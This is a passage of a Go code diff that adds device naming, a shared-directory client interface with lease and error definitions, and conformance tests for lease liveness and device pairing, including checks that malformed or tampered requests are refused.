+ } + // Through a temporary file so a crash never leaves half a name. + temporary := path(dir) + ".new" + if err := os.WriteFile(temporary, []byte(name+"\n"), 0o600); err != nil { + return "", err + } + return name, os.Rename(temporary, path(dir)) +} + +func path(dir string) string { return filepath.Join(dir, fileName) } diff --git a/internal/devname/devname_test.go b/internal/devname/devname_test.go new file mode 100644 index 0000000000..87552fa86e --- /dev/null +++ b/internal/devname/devname_test.go @@ -0,0 +1,97 @@ +package devname + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestCleanTrimsAndKeepsOneToThirtyTwoCharacters(t *testing.T) { + cases := map[string]string{ + " desk ": "desk", + "a": "a", + strings.Repeat("é", Most): strings.Repeat("é", Most), + "my laptop (work)": "my laptop (work)", + } + for typed, want := range cases { + if got, err := Clean(typed); err != nil || got != want { + t.Errorf("Clean(%q) = %q, %v; want %q", typed, got, err, want) + } + } +} + +func TestCleanRefusesWhatCannotBeANameWithTheReason(t *testing.T) { + cases := map[string]error{ + "": ErrEmpty, + " \t ": ErrEmpty, + strings.Repeat("x", Most+1): ErrTooLong, + "two\nlines": ErrControl, + "esc\x1b[31mred": ErrControl, + "c1\u009bcontrol": ErrControl, + } + for typed, want := range cases { + if _, err := Clean(typed); !errors.Is(err, want) { + t.Errorf("Clean(%q) error = %v; want %v", typed, err, want) + } + } +} + +func TestNameIsTheHostNameUntilAPersonChoosesOne(t *testing.T) { + dir := t.TempDir() + if got := Name(dir); got != Default() { + t.Fatalf("unnamed computer is %q; want the host name %q", got, Default()) + } + if _, err := Set(dir, " studio "); err != nil { + t.Fatal(err) + } + if got := Name(dir); got != "studio" { + t.Fatalf("named computer is %q; want studio", got) + } +} + +func TestARefusedNameChangesNothing(t *testing.T) { + dir := t.TempDir() + if _, err := Set(dir, "studio"); err != nil { + t.Fatal(err) + } + if _, err := Set(dir, "bad\x00"); err == nil { + t.Fatal("a name with a control character was kept") + } + if got := Name(dir); got != "studio" { + t.Fatalf("name after a refused rename is %q; want studio", got) + } +} + +func TestDefaultCutsTheDomainOff(t *testing.T) { + if strings.Contains(Default(), ".") && !strings.HasPrefix(Default(), ".") { + t.Fatalf("default %q still carries a domain", Default()) + } +} + +func TestShownCutsTheLocalSuffixAMacHostNameCarries(t *testing.T) { + cases := map[string]string{ + "mac.local": "mac", + "Mac.LOCAL": "Mac", + "desk": "desk", + "my.laptop": "my.laptop", + ".local": ".local", + "a.local.local": "a.local", + } + for name, want := range cases { + if got := Shown(name); got != want { + t.Errorf("Shown(%q) = %q; want %q", name, got, want) + } + } +} + +func TestNameIsShownThroughTheSameRuleForAChosenName(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, fileName), []byte("studio.local\n"), 0o600); err != nil { + t.Fatal(err) + } + if got := Name(dir); got != "studio" { + t.Fatalf("Name = %q; a chosen name reads like every other label", got) + } +} diff --git a/internal/directory/client.go b/internal/directory/client.go new file mode 100644 index 0000000000..5c482e094c --- /dev/null +++ b/internal/directory/client.go @@ -0,0 +1,85 @@ +package directory + +import ( + "context" + "errors" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// Client is the whole directory as one device sees it. The device is a fact of +// the Client itself (the relay reads it from the request signature), so no +// method takes one. Every write is a compare-and-swap decided by rules.go. +type Client interface { + List(ctx context.Context) (Listing, error) // everything a home list needs, one request + Cell(ctx context.Context, id string) (CellView, error) + + PutDevice(ctx context.Context, id string, d Device) error // upsert this device's record; never touches Revoked + Revoke(ctx context.Context, id string) error // stop another device of this identity; ErrNotFound, ErrSelfRevoke + SetVault(ctx context.Context, old, new string) error // CAS identity.vault; ErrCAS + + Create(ctx context.Context, id string, in CellInit) (CellView, error) // ErrExists + Acquire(ctx context.Context, id string, opts AcquireOpts) (CellView, error) // ErrLeaseHeld unless opts.Force + Heartbeat(ctx context.Context, id string, b Beat) (CellView, error) // ErrFenceStale + Publish(ctx context.Context, id string, p Publish) (CellView, error) // ErrFenceStale, ErrHeadMoved + Release(ctx context.Context, id string, fence uint64) error // ErrFenceStale + Archive(ctx context.Context, id string) error // idempotent + + // Presence says which devices hold a watch socket now, and when the + // others were last seen. Live changes arrive on the watch socket instead. + Presence(ctx context.Context) (PresenceView, error) + + // ApproveRequest lets a device that asked to join (see Requests) into this + // identity: it writes the device's record, keeps the grant for it and + // tells the other devices. The first decision wins; repeating it is a + // success. ErrRequestGone, ErrAlreadyDecided, ErrBadRequest, ErrTooBig. + ApproveRequest(ctx context.Context, code string, a Approval) error + // DenyRequest turns a request down. ErrRequestGone, ErrAlreadyDecided. + DenyRequest(ctx context.Context, code string) error + + // Rotate makes one move of the identity's replacement (freeze, thaw, + // retire); Rotation reads where it stands. A replaced identity answers every + // write with ErrRotated and every read as before. + Rotate(ctx context.Context, req RotationReq) (RotationView, error) + Rotation(ctx context.Context) (RotationView, error) +} + +// AcquireOpts says how a device takes a lease. Its JSON is the acquire +// request body, and an empty body means the zero value. +type AcquireOpts struct { + // Force takes the lease from a live holder. It is for a person who chose to + // continue a chat where it runs now: waiting out the holder's lease would + // make them sit through the time a dead holder's row takes to go off. + Force bool `json:"force,omitempty"` +} + +// Directory is one identity's shared directory; For gives each device its own +// Client. The relay handler calls For(deviceFromSignature) once per request. +type Directory interface { + For(device string) Client +} + +// The lease timings every device and the directory agree on. A publish renews +// the lease and a heartbeat is sent only while nothing was published, so the +// relay sees one request per HeartbeatEvery at most and the TTL still covers +// two missed beats. +const ( + LeaseTTL = 90 * time.Second + HeartbeatEvery = 30 * time.Second +) + +// The errors a Client returns. Callers compare with errors.Is. +var ( + ErrNotFound = errors.New("directory: not found") + ErrExists = errors.New("directory: exists") + ErrLeaseHeld = errors.New("directory: lease held by another device") + ErrFenceStale = errors.New("directory: fence superseded") // L7 + ErrHeadMoved = errors.New("directory: head moved") + ErrCAS = errors.New("directory: compare-and-swap failed") + ErrRevoked = wireauth.ErrRevoked // every verb of a revoked device; the wires share this one sentinel + ErrSelfRevoke = errors.New("directory: a device cannot revoke itself") + ErrUnauthorized = errors.New("directory: unauthorized") + ErrUnreachable = errors.New("directory: unreachable") // transport; callers degrade + ErrTooOld = errors.New("directory: this relay is too old for that") +) diff --git a/internal/directory/directorytest/clock.go b/internal/directory/directorytest/clock.go new file mode 100644 index 0000000000..bf58735a8f --- /dev/null +++ b/internal/directory/directorytest/clock.go @@ -0,0 +1,89 @@ +// Package directorytest is the conformance suite every directory.Client +// implementation must pass, plus the fake clock it runs on. +package directorytest + +import ( + "sync" + "time" +) + +// Clock is the directory's time as a suite may observe and wait on it. The +// fake clock moves when a case waits; a live relay's clock moves by itself and +// waiting is real. +type Clock interface { + Now() time.Time + // Wait returns once the directory's clock has moved on by d. + Wait(d time.Duration) +} + +// FakeClock is a clock that moves only when a test says so, and keeps the +// timers its After hands out: they run when the clock moves past them. +type FakeClock struct { + mu sync.Mutex + t time.Time + timers []*fakeTimer +} + +// fakeTimer is one pending After; it runs once, when the clock reaches due. +type fakeTimer struct { + due time.Time + fn func() + done bool +} + +// NewFakeClock starts at a fixed instant so runs are repeatable. +func NewFakeClock() *FakeClock { return &FakeClock{t: time.UnixMilli(1_700_000_000_000)} } + +// Now is the value handed to the directory as its clock. +func (c *FakeClock) Now() time.Time { + c.mu.Lock() + defer c.mu.Unlock() + return c.t +} + +// Advance moves the clock forward by d and then runs every timer it passed, the +// earliest first. A timer may set another; one that falls due inside d runs too. +func (c *FakeClock) Advance(d time.Duration) { + c.mu.Lock() + c.t = c.t.Add(d) + c.mu.Unlock() + for fn := c.popDue(); fn != nil; fn = c.popDue() { + fn() + } +} + +// After is the directory's timers on this clock: fn runs once the clock has +// moved d, and the stop it answers reports whether it beat the run. +func (c *FakeClock) After(d time.Duration, fn func()) (stop func() bool) { + c.mu.Lock() + defer c.mu.Unlock() + t := &fakeTimer{due: c.t.Add(d), fn: fn} + c.timers = append(c.timers, t) + return func() bool { + c.mu.Lock() + defer c.mu.Unlock() + was := !t.done + t.done = true + return was + } +} + +// popDue answers the earliest timer that is due and marks it run, or nil. +func (c *FakeClock) popDue() func() { + c.mu.Lock() + defer c.mu.Unlock() + var first *fakeTimer + for _, t := range c.timers { + if !t.done && !t.due.After(c.t) && (first == nil || t.due.Before(first.due)) { + first = t + } + } + if first == nil { + return nil + } + first.done = true + return first.fn +} + +// Wait moves the clock forward by d, so it is Advance under the Clock name. +func (c *FakeClock) Wait(d time.Duration) { c.Advance(d) } diff --git a/internal/directory/directorytest/lease.go b/internal/directory/directorytest/lease.go new file mode 100644 index 0000000000..af79a13ac0 --- /dev/null +++ b/internal/directory/directorytest/lease.go @@ -0,0 +1,450 @@ +package directorytest + +import ( + "context" + "net/http" + "net/url" + "strconv" + "strings" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// cellB is a second cell, for the cases about another device's lease. +const cellB = "01J0000000000000000000000B" + +// dialWait bounds how long a lease case waits for the relay to answer an upgrade. +// It is longer than frameWait on purpose: a local `wrangler dev` runtime stops +// answering for 10 to 15 s after the watch suite's thousand-socket case closes +// them all (measured with a bare unsigned GET, on a Worker without any lease +// code), and a case whose first request is a dial would otherwise fail for it. +const dialWait = 30 * time.Second + +// The moments the lease cases look at, on the directory's clock, counted from +// the lease's creation at 0. Its stored expiry is one TTL (90 s), so a case that +// still sees it held at leasePast is kept live by something other than its +// stored expiry, and one that sees it free at leaseLapsed has lost that too: a +// sign of life at leaseAge vouches until leaseAge plus one TTL, which is 135 s. +const ( + leaseAge = 45 * time.Second + leasePast = 95 * time.Second + leaseLapsed = 140 * time.Second +) + +// timeline moves the directory's clock to named moments of one case. +type timeline struct { + w watchEnv + now time.Duration +} + +func (w watchEnv) timeline() *timeline { return &timeline{w: w} } + +// to waits until the clock reads d since the case began. +func (t *timeline) to(d time.Duration) { + t.w.env.clock.Wait(d - t.now) + t.now = d +} + +// leaseCases are the named rows of section 21.11 of the contract that a relay +// proves; the client's rows are proved where the client lives. +var leaseCases = map[string]func(watchEnv){ + "SocketKeepsLeaseLive": socketKeepsLeaseLive, + "SilentSocketLapses": silentSocketLapses, + "DeadSocketLapses": deadSocketLapses, + "TakeoverSilencesOldSocket": takeoverSilencesOldSocket, + "HoldOfUnheldCellVouchesNothing": holdOfUnheldCellVouchesNothing, + "HoldAtStaleFenceVouchesNothing": holdAtStaleFenceVouchesNothing, + "OtherDevicesSocketVouchesNothing": otherDevicesSocketVouchesNothing, + "ReleaseEndsVouching": releaseEndsVouching, + "SocketWithoutHoldVouchesNothing": socketWithoutHoldVouchesNothing, + "MalformedHoldIsRefused": malformedHoldIsRefused, + "TooManyHoldsIsRefused": tooManyHoldsIsRefused, + "UpgradeAnnouncesVouching": upgradeAnnouncesVouching, + "PingIsNotAChange": pingIsNotAChange, + "LapseBumpsNothing": lapseBumpsNothing, + "HoldsAreSignedWithTheRequest": holdsAreSignedWithTheRequest, + "BeatUnderVouchIsSilent": beatUnderVouchIsSilent, + "TwoFencesOfOneCellVouchEachOwnFence": twoFencesOfOneCellVouchEachOwnFence, +} + +// RunLease runs every lease-liveness case of the contract (section 21.11) +// against a fresh rig each. Like RunWatch, the cases run in parallel, each on +// its own identity; a live relay's cases take as long as the lease does. +func RunLease(t *testing.T, factory WatchRigFactory) { + for name, fn := range leaseCases { + t.Run(name, func(t *testing.T) { + t.Parallel() + fn(newWatchEnv(t, factory(t))) + }) + } +} + +// openHolding dials the watch route as device, naming holds, and reads the +// opening version so the case starts from a quiet socket. +func (w watchEnv) openHolding(device string, holds ...directory.Hold) *sock { + w.t.Helper() + return w.dialHolding(device, holds).opened() +} + +func (w watchEnv) dialHolding(device string, holds []directory.Hold) *sock { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := DialWatchHolding(dialCtx, w.rig.Base, w.rig.Sign(device), holds) + if err != nil { + w.t.Fatalf("watch dial holding %v: %v (%s)", holds, err, describe(resp)) + } + s := startSock(w.t, conn) + s.resp = resp + return s +} + +// opened consumes the opening version frame. +func (s *sock) opened() *sock { + s.t.Helper() + s.version() + return s +} + +// ping sends a ping and waits for its pong, skipping version frames that a +// change made meanwhile. When it returns the relay has recorded the sign of life. +func (s *sock) ping() { + s.t.Helper() + s.send(websocket.MessageText, "ping") + for { + text := s.text() + if text == "pong" { + return + } + if _, ok := parseVersion(text); !ok { + s.t.Fatalf("frame %q while waiting for a pong", text) + } + } +} + +// hold is the hold a device names for the lease it believes it has. +func hold(cellID string, fence uint64) directory.Hold { + return directory.Hold{Cell: cellID, Fence: fence} +} + +// held says whether device sees the lease on id as held, reading the lease +// the way the home list draws it: its expiry against the relay's own now. +func (w watchEnv) held(device, id string) bool { + w.t.Helper() + v, err := w.dirAs(device).Cell(ctx, id) + must(w.t, err) + return v.Cell.Lease.Expires > v.Now +} + +// wantHeld asserts the lease on id reads held and that a plain acquire by by, +// another device, is refused. +func (w watchEnv) wantHeld(by, id string) { + w.t.Helper() + w.wantReading(by, id, true) + _, err := w.dirAs(by).Acquire(ctx, id, directory.AcquireOpts{}) + wantErr(w.t, err, directory.ErrLeaseHeld) +} + +// wantFree asserts the lease on id reads free and that a plain acquire by by +// succeeds. +func (w watchEnv) wantFree(by, id string) { + w.t.Helper() + w.wantReading(by, id, false) + _, err := w.dirAs(by).Acquire(ctx, id, directory.AcquireOpts{}) + must(w.t, err) +} + +// wantReading asserts only what a list shows, so a case can go on watching a +// lease that an acquire would end. +func (w watchEnv) wantReading(by, id string, held bool) { + w.t.Helper() + if got := w.held(by, id); got != held { + w.t.Fatalf("lease on %s reads held=%v, want %v", id, got, held) + } +} + +// A holder that only pings keeps its lease live past the stored expiry. +func socketKeepsLeaseLive(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantHeld(devB, cell) +} + +// A socket that never pings counts from its accept time. +func silentSocketLapses(w watchEnv) { + w.create() + tl := w.timeline() + tl.to(leaseAge) + w.openHolding(devA, hold(cell, 1)) + tl.to(leasePast) + w.wantReading(devB, cell, true) + tl.to(leaseLapsed) + w.wantFree(devB, cell) +} + +// A socket that stops pinging stops vouching TTL after its last ping. +func deadSocketLapses(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantReading(devB, cell, true) + tl.to(leaseLapsed) + w.wantFree(devB, cell) +} + +// After a takeover the old holder's socket, still pinging, names a fence that +// is gone: the new lease lapses on its own clock. +func takeoverSilencesOldSocket(w watchEnv) { + w.create() + old := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + old.ping() + _, err := w.dirAs(devB).Acquire(ctx, cell, directory.AcquireOpts{Force: true}) + must(w.t, err) + tl.to(leasePast) + old.ping() + w.wantReading(devA, cell, true) + tl.to(leaseLapsed) + w.wantFree(devA, cell) +} + +// A hold of a cell the device does not hold, or that does not exist, is +// accepted and vouches for nothing: the holder's lease is neither kept live nor +// shortened, and nothing about it is told. +func holdOfUnheldCellVouchesNothing(w watchEnv) { + _, err := w.dirAs(devB).Create(ctx, cellB, directory.CellInit{Head: head, Class: "chat", Size: 10, Title: "t"}) + must(w.t, err) + before, err := w.dirAs(devB).Cell(ctx, cellB) + must(w.t, err) + s := w.openHolding(devA, hold(cellB, 1), hold("01J0000000000000000000000Z", 1)) + s.wantSilent() + tl := w.timeline() + tl.to(leaseAge) + s.ping() + s.wantSilent() + after, err := w.dirAs(devB).Cell(ctx, cellB) + must(w.t, err) + if after.Cell.Lease != before.Cell.Lease { + w.t.Fatalf("a hold changed the holder's lease: %+v -> %+v", before.Cell.Lease, after.Cell.Lease) + } + tl.to(leasePast) + s.ping() + w.wantFree(devA, cellB) +} + +// A hold at a fence the lease has moved past vouches for nothing. +func holdAtStaleFenceVouchesNothing(w watchEnv) { + w.create() + _, err := w.dirAs(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + must(w.t, err) + s := w.openHolding(devA, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + s.ping() + w.wantFree(devB, cell) +} + +// A socket of another device that names a cell held by device A vouches for nothing. +func otherDevicesSocketVouchesNothing(w watchEnv) { + w.create() + s := w.openHolding(devB, hold(cell, 1)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantFree(devB, cell) +} + +// After a release the socket that named the lease no longer vouches. +func releaseEndsVouching(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + w.timeline().to(leaseAge) + s.ping() + must(w.t, w.dirAs(devA).Release(ctx, cell, 1)) + s.ping() + w.wantFree(devB, cell) +} + +// A socket with no hold is the home screen's and vouches for nothing. +func socketWithoutHoldVouchesNothing(w watchEnv) { + w.create() + s := w.openHolding(devA) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + s.ping() + w.wantFree(devB, cell) +} + +// refusedHolds are values the relay must answer 400 before the upgrade. +func refusedHolds() []string { + return []string{ + "nocolon", ":5", cell + ":", cell + ":-1", cell + ":+1", cell + ": 1", cell + ":1x", + cell + ":0x10", cell + ":9007199254740992", cell + ":12345678901234567", + strings.Repeat("c", directory.MaxHoldCellBytes+1) + ":1", "", + } +} + +// acceptedHolds are values right at the edge that the relay must still accept. +func acceptedHolds() []string { + return []string{ + cell + ":0", "a:b:3", cell + ":9007199254740991", cell + ":0000000000000007", + strings.Repeat("c", directory.MaxHoldCellBytes) + ":1", + } +} + +func malformedHoldIsRefused(w watchEnv) { + for _, v := range refusedHolds() { + w.wantHoldQuery("hold="+url.QueryEscape(v), http.StatusBadRequest) + } + for _, v := range acceptedHolds() { + w.wantHoldQuery("hold="+url.QueryEscape(v), http.StatusSwitchingProtocols) + } +} + +func tooManyHoldsIsRefused(w watchEnv) { + query := func(n int) string { + q := make([]string, n) + for i := range q { + q[i] = "hold=" + url.QueryEscape(cell+":"+strconv.Itoa(i+1)) + } + return strings.Join(q, "&") + } + w.wantHoldQuery(query(directory.MaxHolds), http.StatusSwitchingProtocols) + w.wantHoldQuery(query(directory.MaxHolds+1), http.StatusBadRequest) +} + +// wantHoldQuery dials with a raw query and asserts the status: a refusal is a +// 400 bad_request before the upgrade, and an accepted socket is closed at once. +func (w watchEnv) wantHoldQuery(query string, status int) { + w.t.Helper() + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := dialWatchQuery(dialCtx, w.rig.Base, w.rig.Sign(devA), query) + if status == http.StatusSwitchingProtocols { + if err != nil { + w.t.Fatalf("query %q refused: %v (%s)", query, err, describe(resp)) + } + conn.CloseNow() + return + } + wantRefusal(w.t, conn, resp, err, status, "bad_request") +} + +func upgradeAnnouncesVouching(w watchEnv) { + for _, holds := range [][]directory.Hold{nil, {hold(cell, 1)}} { + s := w.dialHolding(devA, holds) + if got := s.resp.Header.Get(directory.VouchHeader); got != "1" { + w.t.Fatalf("101 answer has %s=%q with holds %v, want 1", directory.VouchHeader, got, holds) + } + } +} + +// A ping is neither a version nor a frame: nothing changes for anyone. +func pingIsNotAChange(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + other := w.open(devB).opened() + n := s.last + for range 3 { + w.env.clock.Wait(time.Second) + s.ping() + } + s.wantSilent() + other.wantSilent() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after pings, want %d", got, n) + } +} + +// A vouched lease that lapses changes no version: it lapses at read time. +func lapseBumpsNothing(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + n := s.last + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantReading(devB, cell, true) + tl.to(leaseLapsed) + l, err := w.dirAs(devB).List(ctx) + must(w.t, err) + if c := l.Cells[cell]; c.Lease.Expires > l.Now { + w.t.Fatalf("the list still reads the lease held: %+v at %d", c.Lease, l.Now) + } + if got := w.listVersion(devB); got != n { + w.t.Fatalf("list version %d after a lapse, want %d", got, n) + } + s.wantSilent() +} + +// The holds are part of what the request signature covers: a holder's signed +// request cannot be replayed with another hold added. +func holdsAreSignedWithTheRequest(w watchEnv) { + w.create() + signed := w.rig.Sign(devA) + tampered := func(r *http.Request, body []byte) { + signed(r, body) + r.URL.RawQuery = directory.HoldQuery([]directory.Hold{hold(cell, 1)}) + } + dialCtx, cancel := context.WithTimeout(context.Background(), dialWait) + defer cancel() + conn, resp, err := DialWatchHolding(dialCtx, w.rig.Base, tampered, nil) + if conn != nil { + conn.CloseNow() + w.t.Fatal("a watch request with a hold added after signing was accepted") + } + if err == nil || resp == nil || resp.StatusCode != http.StatusUnauthorized { + w.t.Fatalf("tampered hold answered %v (%v), want 401", describe(resp), err) + } + resp.Body.Close() +} + +// Two holds for one cell at different fences are both stored and each vouches +// for its own fence only: the live one keeps the lease, the stale one does not. +func twoFencesOfOneCellVouchEachOwnFence(w watchEnv) { + w.create() + _, err := w.dirAs(devA).Acquire(ctx, cell, directory.AcquireOpts{}) + must(w.t, err) + s := w.openHolding(devA, hold(cell, 1), hold(cell, 2), hold(cell, 2)) + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + w.wantHeld(devB, cell) +} + +// A write bumps exactly when held-ness flips because of it: a beat that lands +// after the stored expiry, while a socket vouches, finds the lease held already. +func beatUnderVouchIsSilent(w watchEnv) { + w.create() + s := w.openHolding(devA, hold(cell, 1)) + n := s.last + tl := w.timeline() + tl.to(leaseAge) + s.ping() + tl.to(leasePast) + _, err := w.dirAs(devA).Heartbeat(ctx, cell, directory.Beat{Fence: 1}) + must(w.t, err) + s.wantSilent() + if got := w.listVersion(devA); got != n { + w.t.Fatalf("list version %d after a beat under a vouch, want %d", got, n) + } +} diff --git a/internal/directory/directorytest/pairing.go b/internal/directory/directorytest/pairing.go new file mode 100644 index 0000000000..ca9e544fcd --- /dev/null +++ b/internal/directory/directorytest/pairing.go @@ -0,0 +1,343 @@ +package directorytest + +import ( + "crypto/rand" + "encoding/base64" + "encoding/hex" + "encoding/json" + "errors" + "regexp" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/directory" + "github.com/Agent-Field/codeaf/internal/identity" + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// PairingRig is one fresh relay as link pairing sees it: the open side a new +// device calls, and the signed Client of an already-paired device. Both share +// one request store and the clock, so a case can wait out a request's life. +type PairingRig struct { + Clock Clock + Devices Devices + Requests directory.Requests +} + +// PairingFactory builds a fresh PairingRig for one test. +type PairingFactory func(t *testing.T) PairingRig + +// RunPairing runs every link-pairing case (docs/ux-pairing-contract.md) against +// a fresh rig each. The Go store, its HTTP wire and the Worker all answer to it. +func RunPairing(t *testing.T, factory PairingFactory) { + for name, fn := range pairingCases { + t.Run(name, func(t *testing.T) { fn(t, factory(t)) }) + } +} + +var pairingCases = map[string]func(*testing.T, PairingRig){ + "CreateAnswersCodeCheckAndExpiry": createAnswers, + "CreateRefusesMalformed": createRefusesMalformed, + "CreateKeepsUnknownPlatformOther": createPlatformOther, + "GetShowsPendingRecord": getShowsPending, + "GetUnknownIsGone": getUnknownIsGone, + "GetIsCaseInsensitive": getIsCaseInsensitive, + "ApproveWritesDeviceAndGrant": approveWritesDevice, + "ApproveIsIdempotent": approveIsIdempotent, + "ApproveOtherBodyIsDecided": approveOtherBodyIsDecided, + "ApproveRefusesForeignCert": approveRefusesForeignCert, + "ApproveRefusesBigGrant": approveRefusesBigGrant, + "DenyThenApproveIsDecided": denyThenApproveIsDecided, + "DenyIsIdempotent": denyIsIdempotent, + "ApproveUnknownIsGone": approveUnknownIsGone, + "RevokedApproverIsRefused": revokedApproverIsRefused, + "RequestExpiresAfterTenMinutes": requestExpires, + "DecidedRequestIsKeptTwoMinutes": decidedIsKeptTwoMinutes, + "WaitWakesOnDecision": waitWakes, + "WaitEndsWhilePending": waitEnds, + "ThreePendingPerNetwork": threePending, + "TenCreatesPerHour": tenPerHour, + "PutDeviceIgnoresRelayFields": putDeviceIgnoresRelayFields, +} + +// joiner is a new device's keys and the request it makes. +type joiner struct { + pub []byte + req directory.NewRequest + cert string + id string +} + +func newJoiner(t *testing.T) joiner { + t.Helper() + pub, box, name := random(t, 32), random(t, 32), random(t, 40+8) + cert := identity.Cert{V: 1, Device: hex.EncodeToString(pub), Made: 1, Sig: "00"} + raw, err := json.Marshal(cert) + must(t, err) + return joiner{ + pub: pub, id: cert.DeviceID(), cert: b64(raw), + req: directory.NewRequest{Pubkey: b64(pub), X25519: b64(box), NameSealed: b64(name), Platform: "linux"}, + } +} + +func random(t *testing.T, n int) []byte { + t.Helper() + b := make([]byte, n) + _, err := rand.Read(b) + must(t, err) + return b +} + +func b64(b []byte) string { return base64.RawURLEncoding.EncodeToString(b) } + +func (j joiner) approval(grant string) directory.Approval { + return directory.Approval{ + Device: directory.Device{V: 1, Name: "bg", AddedBy: "id_x", Platform: "linux", Created: 1, LastSeen: 1}, + Cert: j.cert, Grant: grant, + } +} + +// ask makes j's request and answers its code. +func ask(t *testing.T, r PairingRig, j joiner) directory.Opened { + t.Helper() + o, err := r.Requests.CreateRequest(ctx, j.req) + must(t, err) + return o +} + +func createAnswers(t *testing.T, r PairingRig) { + j := newJoiner(t) + before := r.Clock.Now().UnixMilli() + o := ask(t, r, j) + if !regexp.MustCompile(`^[0-9a-hjkmnp-tv-z]{8}$`).MatchString(o.Code) { + t.Fatalf("code %q is not 8 Crockford characters", o.Code) + } + if o.Device != j.id || len(o.Check) != 4 || o.Check != directory.CheckOf(j.pub) { + t.Fatalf("answer = %+v, want device %s and check %s", o, j.id, directory.CheckOf(j.pub)) + } + if o.ExpiresAt-o.RequestedAt != 600_000 || o.RequestedAt < before { + t.Fatalf("times = %d..%d, now %d", o.RequestedAt, o.ExpiresAt, before) + } +} + +func createRefusesMalformed(t *testing.T, r PairingRig) { + short := newJoiner(t) + short.req.Pubkey = b64(random(t, 31)) + _, err := r.Requests.CreateRequest(ctx, short.req) + wantErr(t, err, directory.ErrBadRequest) + + long := newJoiner(t) + long.req.NameSealed = b64(random(t, 24+16+97)) + _, err = r.Requests.CreateRequest(ctx, long.req) + wantErr(t, err, directory.ErrBadRequest) +} + +func createPlatformOther(t *testing.T, r PairingRig) { + j := newJoiner(t) + j.req.Platform = "plan9" + got, err := r.Requests.GetRequest(ctx, ask(t, r, j).Code, 0) + must(t, err) + if got.Platform != "other" { + t.Fatalf("platform = %q, want other", got.Platform) + } +} + +func getShowsPending(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + want := directory.Request{ + Code: o.Code, Device: j.id, Pubkey: j.req.Pubkey, X25519: j.req.X25519, NameSealed: j.req.NameSealed, + Platform: "linux", Check: o.Check, RequestedAt: o.RequestedAt, ExpiresAt: o.ExpiresAt, State: directory.RequestPending, + } + if got != want { + t.Fatalf("record = %+v\nwant %+v", got, want) + } +} + +func getUnknownIsGone(t *testing.T, r PairingRig) { + _, err := r.Requests.GetRequest(ctx, "zzzzzzzz", 0) + wantErr(t, err, directory.ErrRequestGone) +} + +func getIsCaseInsensitive(t *testing.T, r PairingRig) { + o := ask(t, r, newJoiner(t)) + _, err := r.Requests.GetRequest(ctx, upper(o.Code), 0) + must(t, err) +} + +func upper(s string) string { + return string([]byte(regexp.MustCompile(`[a-z]`).ReplaceAllFunc([]byte(s), func(b []byte) []byte { return []byte{b[0] - 32} }))) +} + +func approveWritesDevice(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + if got.State != directory.RequestApproved || got.Grant == nil || *got.Grant != "Z3JhbnQ" { + t.Fatalf("after approve = %+v", got) + } + l, err := r.Devices(devA).List(ctx) + must(t, err) + d, ok := l.Devices[j.id] + if !ok || d.Platform != "linux" || d.Created != l.Now || d.LastSeen != 0 { + t.Fatalf("device %s = %+v (listed at %d), want platform linux, created by the directory, no last_seen", j.id, d, l.Now) + } +} + +func approveIsIdempotent(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + must(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) +} + +func approveOtherBodyIsDecided(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + must(t, r.Devices(devA).ApproveRequest(ctx, o.Code, j.approval("Z3JhbnQ"))) + wantErr(t, r.Devices(devB).ApproveRequest(ctx, o.Code, j.approval("b3RoZXI")), directory.ErrAlreadyDecided) + wantErr(t, r.Devices(devB).DenyRequest(ctx, o.Code), directory.ErrAlreadyDecided) +} + +func approveRefusesForeignCert(t *testing.T, r PairingRig) { + j, other := newJoiner(t), newJoiner(t) + o := ask(t, r, j) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, o.Code, other.approval("Z3JhbnQ")), directory.ErrBadRequest) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, o.Code, directory.Approval{Cert: "!", Grant: "Z3JhbnQ"}), directory.ErrBadRequest) + got, err := r.Requests.GetRequest(ctx, o.Code, 0) + must(t, err) + if got.State != directory.RequestPending { + t.Fatalf("a refused approve left the request %s", got.State) + } +} + +func approveRefusesBigGrant(t *testing.T, r PairingRig) { + j := newJoiner(t) + o := ask(t, r, j) + big := b64(random(t, directory.MaxGrant+1)) + wantErr(t, r.Devices(devA).ApproveRequest(ctx, 